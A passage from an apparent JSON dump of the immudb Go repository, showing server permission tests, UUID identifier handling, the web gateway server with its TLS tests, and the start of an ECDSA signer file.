metadata.NewIncomingContext(context.Background(), md)\n\n\tnewdb := &schema.DatabaseSettings{\n\t\tDatabaseName: testDatabase,\n\t}\n\t_, err = s.CreateDatabaseWith(ctx, newdb)\n\trequire.NoError(t, err)\n\n\ttestServerCreateUser(ctx, s, t)\n\ttestServerListDatabases(ctx, s, t)\n\ttestServerUseDatabase(ctx, s, t)\n\ttestServerChangePermission(ctx, s, t)\n\ttestServerDeactivateUser(ctx, s, t)\n\ttestServerSetActiveUser(ctx, s, t)\n\ttestServerChangePassword(ctx, s, t)\n\ttestServerListUsers(ctx, s, t)\n}\n\nfunc TestServerCreateUser(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\n\ts.Initialize()\n\n\tctx, err := loginAsUser(s, auth.SysAdminUsername, auth.SysAdminPassword)\n\trequire.NoError(t, err)\n\n\t_, err = s.CreateDatabaseWith(ctx, &schema.DatabaseSettings{\n\t\tDatabaseName: testDatabase,\n\t})\n\trequire.NoError(t, err)\n\n\t_, err = s.CreateDatabaseWith(ctx, &schema.DatabaseSettings{\n\t\tDatabaseName: auth.SysAdminUsername,\n\t})\n\trequire.NoError(t, err)\n\n\t_, err = s.CreateUser(ctx, &schema.CreateUserRequest{\n\t\tUser:       testUsername,\n\t\tPassword:   testPassword,\n\t\tDatabase:   testDatabase,\n\t\tPermission: auth.PermissionR,\n\t})\n\trequire.NoError(t, err)\n\n\t_, err = s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{\n\t\tAction:     schema.PermissionAction_GRANT,\n\t\tUsername:   string(testUsername),\n\t\tDatabase:   auth.SysAdminUsername,\n\t\tPrivileges: []string{string(sql.SQLPrivilegeUpdate)},\n\t})\n\trequire.ErrorContains(t, err, fmt.Sprintf(\"user %s doesn't have permission on database %s\", testUsername, auth.SysAdminUsername))\n\n\t_, err = s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{\n\t\tAction:     schema.PermissionAction_GRANT,\n\t\tUsername:   string(testUsername),\n\t\tDatabase:   testDatabase,\n\t\tPrivileges: []string{string(sql.SQLPrivilegeUpdate)},\n\t})\n\trequire.NoError(t, err)\n\n\tusers, err := s.ListUsers(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\trequire.Len(t, users.Users, 2)\n\n\tu := users.Users[1]\n\trequire.Equal(t, string(u.User), string(testUsername))\n\trequire.Equal(t, u.SqlPrivileges, []*schema.SQLPrivilege{{Database: testDatabase, Privilege: string(sql.SQLPrivilegeSelect)}, {Database: testDatabase, Privilege: string(sql.SQLPrivilegeUpdate)}})\n\n\tuserCtx, err := loginAsUser(s, string(testUsername), string(testPassword))\n\trequire.NoError(t, err)\n\n\t_, err = s.ChangeSQLPrivileges(userCtx, &schema.ChangeSQLPrivilegesRequest{\n\t\tAction:     schema.PermissionAction_REVOKE,\n\t\tUsername:   string(testUsername),\n\t\tDatabase:   testDatabase,\n\t\tPrivileges: []string{string(sql.SQLPrivilegeSelect)},\n\t})\n\trequire.ErrorContains(t, err, \"changing your own privileges is not allowed\")\n\n\t_, err = s.ChangeSQLPrivileges(userCtx, &schema.ChangeSQLPrivilegesRequest{\n\t\tAction:     schema.PermissionAction_REVOKE,\n\t\tUsername:   auth.SysAdminUsername,\n\t\tDatabase:   testDatabase,\n\t\tPrivileges: []string{string(sql.SQLPrivilegeSelect)},\n\t})\n\trequire.ErrorContains(t, err, \"changing sysadmin privileges is not allowed\")\n\n\t_, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: fmt.Sprintf(\"REVOKE ALL PRIVILEGES ON DATABASE %s TO USER %s\", testDatabase, string(testUsername))})\n\trequire.NoError(t, err)\n\n\t_, err = s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{\n\t\tAction:     schema.PermissionAction_REVOKE,\n\t\tUsername:   string(testUsername),\n\t\tDatabase:   testDatabase,\n\t\tPrivileges: []string{string(sql.SQLPrivilegeSelect), string(sql.SQLPrivilegeUpdate)},\n\t})\n\trequire.NoError(t, err)\n\n\tusers, err = s.ListUsers(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\trequire.Len(t, users.Users, 2)\n\n\tu = users.Users[1]\n\trequire.Equal(t, string(u.User), string(testUsername))\n\trequire.Empty(t, u.SqlPrivileges)\n\n\tuserCtx, err = loginAsUser(s, string(testUsername), string(testPassword)) // should login again after chaing permissions\n\trequire.NoError(t, err)\n\n\treply, err := s.UseDatabase(userCtx, &schema.Database{DatabaseName: testDatabase})\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", reply.Token)\n\tuserCtx = metadata.NewIncomingContext(context.Background(), md)\n\n\t_, err = s.UnarySQLQuery(userCtx, &schema.SQLQueryRequest{Sql: \"SELECT * FROM mytable\"})\n\trequire.ErrorIs(t, err, sql.ErrAccessDenied)\n}\n\nfunc TestUnmarshalUserWithNoPrivileges(t *testing.T) {\n\tu, err := unmarshalSchemaUser([]byte(`{\"hasPrivileges\": false, \"permissions\": [{\"permission\": 1, \"database\": \"immudb\"}]}`))\n\trequire.NoError(t, err)\n\trequire.Equal(t, u.SqlPrivileges, []*schema.SQLPrivilege{{Database: \"immudb\", Privilege: string(sql.SQLPrivilegeSelect)}})\n}\n\nfunc loginAsUser(s *ImmuServer, username, password string) (context.Context, error) {\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(username),\n\t\tPassword: []byte(password),\n\t}\n\tctx := context.Background()\n\tlr, err := s.Login(ctx, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\treturn metadata.NewIncomingContext(context.Background(), md), nil\n}\n\nfunc testServerCreateUser(ctx context.Context, s *ImmuServer, t *testing.T) {\n\tnewUser := &schema.CreateUserRequest{\n\t\tUser:       testUsername,\n\t\tPassword:   testPassword,\n\t\tDatabase:   testDatabase,\n\t\tPermission: auth.PermissionAdmin,\n\t}\n\t_, err := s.CreateUser(ctx, newUser)\n\trequire.NoError(t, err)\n\n\tif !s.mandatoryAuth() {\n\t\tt.Fatalf(\"mandatoryAuth expected true\")\n\t}\n}\n\nfunc testServerListUsers(ctx context.Context, s *ImmuServer, t *testing.T) {\n\tusers, err := s.ListUsers(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\tif len(users.Users) < 1 {\n\t\tt.Fatalf(\"List users, expected >1 got %v\", len(users.Users))\n\t}\n}\n\nfunc testServerListDatabases(ctx context.Context, s *ImmuServer, t *testing.T) {\n\tdbs, err := s.DatabaseList(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\tif len(dbs.Databases) < 1 {\n\t\tt.Fatalf(\"List databases, expected >1 got %v\", len(dbs.Databases))\n\t}\n}\n\nfunc testServerUseDatabase(ctx context.Context, s *ImmuServer, t *testing.T) {\n\tdbs, err := s.UseDatabase(ctx, &schema.Database{\n\t\tDatabaseName: testDatabase,\n\t})\n\trequire.NoError(t, err)\n\tif len(dbs.Token) == 0 {\n\t\tt.Fatalf(\"Expected token, got %v\", dbs.Token)\n\t}\n}\n\nfunc testServerChangePermission(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.ChangePermission(ctx, &schema.ChangePermissionRequest{\n\t\tAction:     schema.PermissionAction_GRANT,\n\t\tDatabase:   testDatabase,\n\t\tPermission: auth.PermissionR,\n\t\tUsername:   string(testUsername),\n\t})\n\n\trequire.NoError(t, err)\n}\n\nfunc testServerDeactivateUser(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.SetActiveUser(ctx, &schema.SetActiveUserRequest{\n\t\tActive:   false,\n\t\tUsername: string(testUsername),\n\t})\n\trequire.NoError(t, err)\n}\n\nfunc testServerSetActiveUser(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.SetActiveUser(ctx, &schema.SetActiveUserRequest{\n\t\tActive:   true,\n\t\tUsername: string(testUsername),\n\t})\n\trequire.NoError(t, err)\n}\n\nfunc testServerChangePassword(ctx context.Context, s *ImmuServer, t *testing.T) {\n\t_, err := s.ChangePassword(ctx, &schema.ChangePasswordRequest{\n\t\tNewPassword: testPassword,\n\t\tOldPassword: testPassword,\n\t\tUser:        testUsername,\n\t})\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/server/uuid.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path\"\n\n\t\"github.com/rs/xid\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\n// IDENTIFIER_FNAME ...\nconst IDENTIFIER_FNAME = \"immudb.identifier\"\n\n// SERVER_UUID_HEADER ...\nconst SERVER_UUID_HEADER = \"immudb-uuid\"\n\ntype uuidContext struct {\n\tUUID xid.ID\n}\n\n// UUIDContext manage UUID context\ntype UUIDContext interface {\n\tUUIDStreamContextSetter(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error\n\tUUIDContextSetter(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error)\n}\n\n// NewUUIDContext return a new UUId context servive\nfunc NewUUIDContext(id xid.ID) uuidContext {\n\treturn uuidContext{id}\n}\n\n// getOrSetUUID either reads the identifier file or creates it if it doesn't exist\n// unless useExternalIdentifier is set to true, in which case the local identifier file is ignored.\n// In earlier versions, the file was located inside default DB directory. Now, it\n// is moved to the data directory. This function migrates the file to data directory\n// in case it exists in the default db directory.\nfunc getOrSetUUID(dataDir, defaultDbDir string, useExternalIdentifier bool) (xid.ID, error) {\n\tfileInDataDir := path.Join(dataDir, IDENTIFIER_FNAME)\n\tif fileExists(fileInDataDir) {\n\t\treturn getUUID(fileInDataDir)\n\t}\n\n\tfileInDefaultDbDir := path.Join(defaultDbDir, IDENTIFIER_FNAME)\n\tif fileExists(fileInDefaultDbDir) {\n\t\tguid, err := getUUID(fileInDefaultDbDir)\n\t\tif err != nil {\n\t\t\treturn guid, err\n\t\t}\n\n\t\terr = moveUUIDFile(guid, fileInDataDir, fileInDefaultDbDir)\n\t\treturn guid, err\n\t}\n\n\tif useExternalIdentifier {\n\t\treturn xid.ID{}, nil\n\t}\n\n\tguid := xid.New()\n\terr := setUUID(guid, fileInDataDir)\n\treturn guid, err\n}\n\nfunc getUUID(fname string) (xid.ID, error) {\n\tb, err := ioutil.ReadFile(fname)\n\tif err != nil {\n\t\treturn xid.ID{}, err\n\t}\n\treturn xid.FromBytes(b)\n}\n\nfunc setUUID(guid xid.ID, fname string) error {\n\treturn ioutil.WriteFile(fname, guid.Bytes(), os.ModePerm)\n}\n\nfunc moveUUIDFile(guid xid.ID, fileInDataDir, fileInDefaultDbDir string) error {\n\t// write the new file first in case we crash in between. Do not use\n\t// os.Rename here because in case of a crash, bad things can happen.\n\tif err := setUUID(guid, fileInDataDir); err != nil {\n\t\treturn err\n\t}\n\n\t// now, delete the old file once we have new file setup\n\terr := os.Remove(fileInDefaultDbDir)\n\treturn err\n}\n\n// fileExists checks if a file exists and is not a directory before we\n// try using it to prevent further errors.\nfunc fileExists(filename string) bool {\n\tinfo, err := os.Stat(filename)\n\tif os.IsNotExist(err) {\n\t\treturn false\n\t}\n\treturn !info.IsDir()\n}\n\n// UUIDStreamContextSetter set uuid header in a stream\nfunc (u *uuidContext) UUIDStreamContextSetter(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\theader := metadata.Pairs(SERVER_UUID_HEADER, u.UUID.String())\n\n\terr := ss.SendHeader(header)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn handler(srv, ss)\n}\n\n// UUIDContextSetter set uuid header\nfunc (u *uuidContext) UUIDContextSetter(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {\n\theader := metadata.Pairs(SERVER_UUID_HEADER, u.UUID.String())\n\n\terr := grpc.SendHeader(ctx, header)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn handler(ctx, req)\n}\n"
  },
  {
    "path": "pkg/server/uuid_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/rs/xid\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\nfunc TestNewUUID(t *testing.T) {\n\tdir := t.TempDir()\n\tid, err := getOrSetUUID(dir, filepath.Join(dir, \"defaultDb\"), false)\n\trequire.NoError(t, err)\n\trequire.FileExists(t, filepath.Join(dir, IDENTIFIER_FNAME))\n\n\tuuid := NewUUIDContext(id)\n\trequire.Equal(t, uuid.UUID, id)\n}\n\n// test for external identifier and remote storage\nfunc TestNoUUID(t *testing.T) {\n\tdir := t.TempDir()\n\tid, err := getOrSetUUID(dir, filepath.Join(dir, \"defaultDb\"), true)\n\trequire.NoError(t, err)\n\trequire.Equal(t, xid.ID{}, id)\n}\n\nfunc TestExistingUUID(t *testing.T) {\n\tx, _ := xid.FromString(\"bs6c1kn1lu5qfesu061g\")\n\tdir := t.TempDir()\n\tioutil.WriteFile(filepath.Join(dir, IDENTIFIER_FNAME), x.Bytes(), os.ModePerm)\n\tid, err := getOrSetUUID(dir, filepath.Join(dir, \"defaultDb\"), false)\n\trequire.NoError(t, err)\n\n\trequire.FileExists(t, filepath.Join(dir, IDENTIFIER_FNAME))\n\n\tuuid := NewUUIDContext(id)\n\trequire.Equal(t, uuid.UUID, id)\n}\n\nfunc TestMigrateUUID(t *testing.T) {\n\tdir := t.TempDir()\n\tdefaultDbDir := filepath.Join(dir, \"defaultDb\")\n\terr := os.Mkdir(defaultDbDir, os.ModePerm)\n\trequire.NoError(t, err)\n\n\tfileInDefaultDbDir := path.Join(defaultDbDir, IDENTIFIER_FNAME)\n\tx, _ := xid.FromString(\"bs6c1kn1lu5qfesu061g\")\n\tioutil.WriteFile(fileInDefaultDbDir, x.Bytes(), os.ModePerm)\n\tid, err := getOrSetUUID(dir, defaultDbDir, false)\n\trequire.NoError(t, err)\n\n\trequire.FileExists(t, filepath.Join(dir, IDENTIFIER_FNAME))\n\trequire.NoFileExists(t, fileInDefaultDbDir, \"uuid file not moved, %s\", err)\n\n\tuuid := NewUUIDContext(id)\n\trequire.Equal(t, id, uuid.UUID)\n}\n\nfunc TestUUIDContextSetter(t *testing.T) {\n\tdir := t.TempDir()\n\tid, err := getOrSetUUID(dir, filepath.Join(dir, \"defaultDb\"), false)\n\trequire.NoError(t, err)\n\n\tuuid := NewUUIDContext(id)\n\ttransportStream := &mockServerTransportStream{}\n\tsrv := &grpc.UnaryServerInfo{}\n\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\n\t\tctxUUID, ok := transportStream.SentHeader[SERVER_UUID_HEADER]\n\t\trequire.True(t, ok, \"error setting uuid\")\n\n\t\tx, err := xid.FromString(ctxUUID[0])\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uuid.UUID, x)\n\n\t\treturn req, nil\n\t}\n\n\tvar req interface{}\n\tctx := grpc.NewContextWithServerTransportStream(context.Background(), transportStream)\n\n\t_, err = uuid.UUIDContextSetter(ctx, req, srv, handler)\n\trequire.NoError(t, err)\n}\n\nfunc TestUUIDStreamContextSetter(t *testing.T) {\n\tdir := t.TempDir()\n\tid, err := getOrSetUUID(dir, filepath.Join(dir, \"defaultDb\"), false)\n\trequire.NoError(t, err)\n\n\tuuid := NewUUIDContext(id)\n\tsrv := grpc.StreamServerInfo{}\n\tss := mockServerStream{}\n\n\thandler := func(srv interface{}, stream grpc.ServerStream) error {\n\t\tctxUUID, ok := ss.SentHeader[SERVER_UUID_HEADER]\n\t\trequire.True(t, ok, \"error setting uuid\")\n\n\t\tx, err := xid.FromString(ctxUUID[0])\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uuid.UUID, x)\n\n\t\treturn nil\n\t}\n\n\tvar req interface{}\n\n\terr = uuid.UUIDStreamContextSetter(req, &ss, &srv, handler)\n\trequire.NoError(t, err)\n}\n\n// implement ServerTransportStream\ntype mockServerTransportStream struct {\n\tSentHeader metadata.MD\n}\n\nfunc (r *mockServerTransportStream) Method() string                  { return \"\" }\nfunc (r *mockServerTransportStream) SetHeader(md metadata.MD) error  { return nil }\nfunc (r *mockServerTransportStream) SendHeader(md metadata.MD) error { r.SentHeader = md; return nil }\nfunc (r *mockServerTransportStream) SetTrailer(md metadata.MD) error { return nil }\n\n// implement ServerStream\ntype mockServerStream struct {\n\tSentHeader metadata.MD\n\tctx        context.Context\n}\n\nfunc (r *mockServerStream) SetHeader(md metadata.MD) error  { return nil }\nfunc (r *mockServerStream) SendHeader(md metadata.MD) error { r.SentHeader = md; return nil }\nfunc (r *mockServerStream) SetTrailer(md metadata.MD)       {}\nfunc (r *mockServerStream) Context() context.Context        { return r.ctx }\nfunc (r *mockServerStream) SendMsg(m interface{}) error     { return nil }\nfunc (r *mockServerStream) RecvMsg(m interface{}) error     { return nil }\n"
  },
  {
    "path": "pkg/server/webserver.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/swagger\"\n\t\"github.com/codenotary/immudb/webconsole\"\n\t\"github.com/grpc-ecosystem/grpc-gateway/runtime\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n\t\"google.golang.org/grpc/grpclog\"\n)\n\nfunc startWebServer(ctx context.Context, grpcAddr string, httpAddr string, tlsConfig *tls.Config, s *ImmuServer, l logger.Logger) (*http.Server, error) {\n\tgrpcClient, err := grpcClient(ctx, grpcAddr, tlsConfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tproxyMux := runtime.NewServeMux(\n\t\truntime.WithIncomingHeaderMatcher(func(key string) (string, bool) {\n\t\t\tswitch strings.ToLower(key) {\n\t\t\tcase \"sessionid\":\n\t\t\t\treturn \"Sessionid\", true\n\t\t\tdefault:\n\t\t\t\treturn runtime.DefaultHeaderMatcher(key)\n\t\t\t}\n\t\t}),\n\t)\n\n\terr = schema.RegisterImmuServiceHandler(ctx, proxyMux, grpcClient)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = protomodel.RegisterAuthorizationServiceHandler(ctx, proxyMux, grpcClient)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = protomodel.RegisterDocumentServiceHandler(ctx, proxyMux, grpcClient)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\twebMux := http.NewServeMux()\n\n\twebMux.Handle(\"/api/\", http.StripPrefix(\"/api\", proxyMux))\n\twebMux.Handle(\"/api/v2/\", http.StripPrefix(\"/api/v2\", proxyMux))\n\n\terr = webconsole.SetupWebconsole(webMux, l, httpAddr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif s.Options.SwaggerUIEnabled {\n\t\terr = swagger.SetupSwaggerUI(webMux, l, httpAddr)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\thttpServer := &http.Server{Addr: httpAddr, Handler: webMux}\n\thttpServer.TLSConfig = tlsConfig\n\n\tgo func() {\n\t\tvar err error\n\t\tif tlsConfig != nil && len(tlsConfig.Certificates) > 0 {\n\t\t\tl.Infof(\"web-api server enabled on %s/api (https)\", httpAddr)\n\t\t\terr = httpServer.ListenAndServeTLS(\"\", \"\")\n\t\t} else {\n\t\t\tl.Infof(\"web-api server enabled on %s/api (http)\", httpAddr)\n\t\t\terr = httpServer.ListenAndServe()\n\t\t}\n\n\t\tif err == http.ErrServerClosed {\n\t\t\tl.Debugf(\"web-api/console server closed\")\n\t\t} else {\n\t\t\tl.Errorf(\"web-api/console error: %s\", err)\n\t\t}\n\t}()\n\n\treturn httpServer, nil\n}\n\nfunc grpcClient(ctx context.Context, grpcAddr string, tlsConfig *tls.Config) (conn *grpc.ClientConn, err error) {\n\tvar creds credentials.TransportCredentials\n\tif tlsConfig != nil {\n\t\tcreds = credentials.NewTLS(&tls.Config{RootCAs: tlsConfig.RootCAs})\n\t} else {\n\t\tcreds = insecure.NewCredentials()\n\t}\n\n\tconn, err = grpc.Dial(grpcAddr, grpc.WithTransportCredentials(creds))\n\tif err != nil {\n\t\treturn conn, err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"failed to close conn to %s: %v\", grpcAddr, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"failed to close conn to %s: %v\", grpcAddr, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\treturn conn, nil\n}\n"
  },
  {
    "path": "pkg/server/webserver_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"crypto/ecdsa\"\n\t\"crypto/elliptic\"\n\t\"crypto/rand\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"math/big\"\n\t\"net\"\n\t\"net/http\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc freePort(t *testing.T) int {\n\tt.Helper()\n\tl, err := net.Listen(\"tcp\", \"127.0.0.1:0\")\n\trequire.NoError(t, err)\n\tport := l.Addr().(*net.TCPAddr).Port\n\tl.Close()\n\treturn port\n}\n\nfunc TestStartWebServerHTTP(t *testing.T) {\n\tdir := t.TempDir()\n\n\toptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithAddress(\"127.0.0.1\").\n\t\tWithPort(freePort(t)).\n\t\tWithWebServerPort(freePort(t))\n\tserver := DefaultServer().WithOptions(options).(*ImmuServer)\n\n\ttlsConfig := &tls.Config{\n\t\tCertificates: []tls.Certificate{},\n\t\tClientAuth:   tls.VerifyClientCertIfGiven,\n\t}\n\n\twebServer, err := startWebServer(\n\t\tcontext.Background(),\n\t\toptions.Bind(),\n\t\toptions.WebBind(),\n\t\ttlsConfig,\n\t\tserver,\n\t\t&mockLogger{})\n\trequire.NoError(t, err)\n\tdefer webServer.Close()\n\n\trequire.IsType(t, &http.Server{}, webServer)\n\n\tclient := &http.Client{}\n\trequire.Eventually(t, func() bool {\n\t\t_, err = client.Get(\"http://\" + options.WebBind())\n\t\treturn err == nil\n\t}, 10*time.Second, 30*time.Millisecond)\n}\n\nfunc TestStartWebServerHTTPS(t *testing.T) {\n\tdir := t.TempDir()\n\n\toptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithAddress(\"127.0.0.1\").\n\t\tWithPort(freePort(t)).\n\t\tWithWebServerPort(freePort(t))\n\tserver := DefaultServer().WithOptions(options).(*ImmuServer)\n\n\ttlsConfig := tlsConfigTest(t)\n\twebServer, err := startWebServer(\n\t\tcontext.Background(),\n\t\toptions.Bind(),\n\t\toptions.WebBind(),\n\t\ttlsConfig,\n\t\tserver,\n\t\t&mockLogger{})\n\trequire.NoError(t, err)\n\tdefer webServer.Close()\n\n\trequire.IsType(t, &http.Server{}, webServer)\n\n\ttr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}\n\tclient := &http.Client{Transport: tr}\n\trequire.Eventually(t, func() bool {\n\t\t_, err = client.Get(\"https://\" + options.WebBind())\n\t\treturn err == nil\n\t}, 10*time.Second, 30*time.Millisecond)\n}\n\nfunc tlsConfigTest(t *testing.T) *tls.Config {\n\tkey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)\n\trequire.NoError(t, err)\n\n\ttemplate := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1),\n\t\tNotBefore:    time.Now(),\n\t\tNotAfter:     time.Now().Add(time.Hour),\n\t\tIPAddresses:  []net.IP{net.ParseIP(\"127.0.0.1\")},\n\t\tDNSNames:     []string{\"localhost\"},\n\t\tKeyUsage:     x509.KeyUsageDigitalSignature,\n\t\tExtKeyUsage:  []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},\n\t}\n\n\tcertDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)\n\trequire.NoError(t, err)\n\n\treturn &tls.Config{\n\t\tCertificates: []tls.Certificate{{\n\t\t\tCertificate: [][]byte{certDER},\n\t\t\tPrivateKey:  key,\n\t\t}},\n\t}\n}\n"
  },
  {
    "path": "pkg/signer/ecdsa.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage signer\n\nimport (\n\t\"crypto/ecdsa\"\n\t\"crypto/elliptic\"\n\t\"crypto/rand\"\n\t\"crypto/sha256\"\n\t\"crypto/x509\"\n\t\"encoding/asn1\"\n\t\"encoding/pem\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"math/big\"\n)\n\nvar ErrInvalidPublicKey = errors.New(\"invalid public key\")\nvar ErrKeyCannotBeVerified = errors.New(\"key cannot be verified\")\n\ntype signer struct {\n\trand       io.Reader\n\tprivateKey *ecdsa.PrivateKey\n}\n\ntype ecdsaSignature struct {\n\tR *big.Int\n\tS *big.Int\n}\n\n// NewSigner returns a signer object. It requires a private key file path. To generate a valid key use openssl tool. Ex: openssl ecparam -name prime256v1 -genkey -noout -out ec.key\nfunc NewSigner(privateKeyPath string) (Signer, error) {\n\tprivateKeyBytes, err := ioutil.ReadFile(privateKeyPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tprivateKeyBlock, _ := pem.Decode(privateKeyBytes)\n\tif privateKeyBlock == nil {\n\t\treturn nil, errors.New(\"no ecdsa key found in provided signing key file\")\n\t}\n\tprivateKey, err := x509.ParseECPrivateKey(privateKeyBlock.Bytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn signer{rand: rand.Reader, privateKey: privateKey}, nil\n}\n\n// NewSignerFromPKey returns a signer from a io.Reader and a *ecdsa.PrivateKey.\nfunc NewSignerFromPKey(r io.Reader, pk *ecdsa.PrivateKey) Signer {\n\treturn signer{rand: r, privateKey: pk}\n}\n\n// sign sign a payload and returns asn1 marshal byte sequence\nfunc (sig signer) Sign(payload []byte) ([]byte, []byte, error) {\n\thash := sha256.Sum256(payload)\n\tr, s, err := ecdsa.Sign(sig.rand, sig.privateKey, hash[:])\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tsigToMarshal := ecdsaSignature{R: r, S: s}\n\tm, _ := asn1.Marshal(sigToMarshal)\n\tpk := sig.privateKey.PublicKey\n\tp := elliptic.Marshal(pk.Curve, pk.X, pk.Y)\n\n\treturn m, p, nil\n}\n\nfunc UnmarshalKey(publicKey []byte) (*ecdsa.PublicKey, error) {\n\tx, y := elliptic.Unmarshal(elliptic.P256(), publicKey)\n\tif x == nil {\n\t\treturn nil, ErrInvalidPublicKey\n\t}\n\treturn &ecdsa.PublicKey{Curve: elliptic.P256(), X: x, Y: y}, nil\n}\n\n// 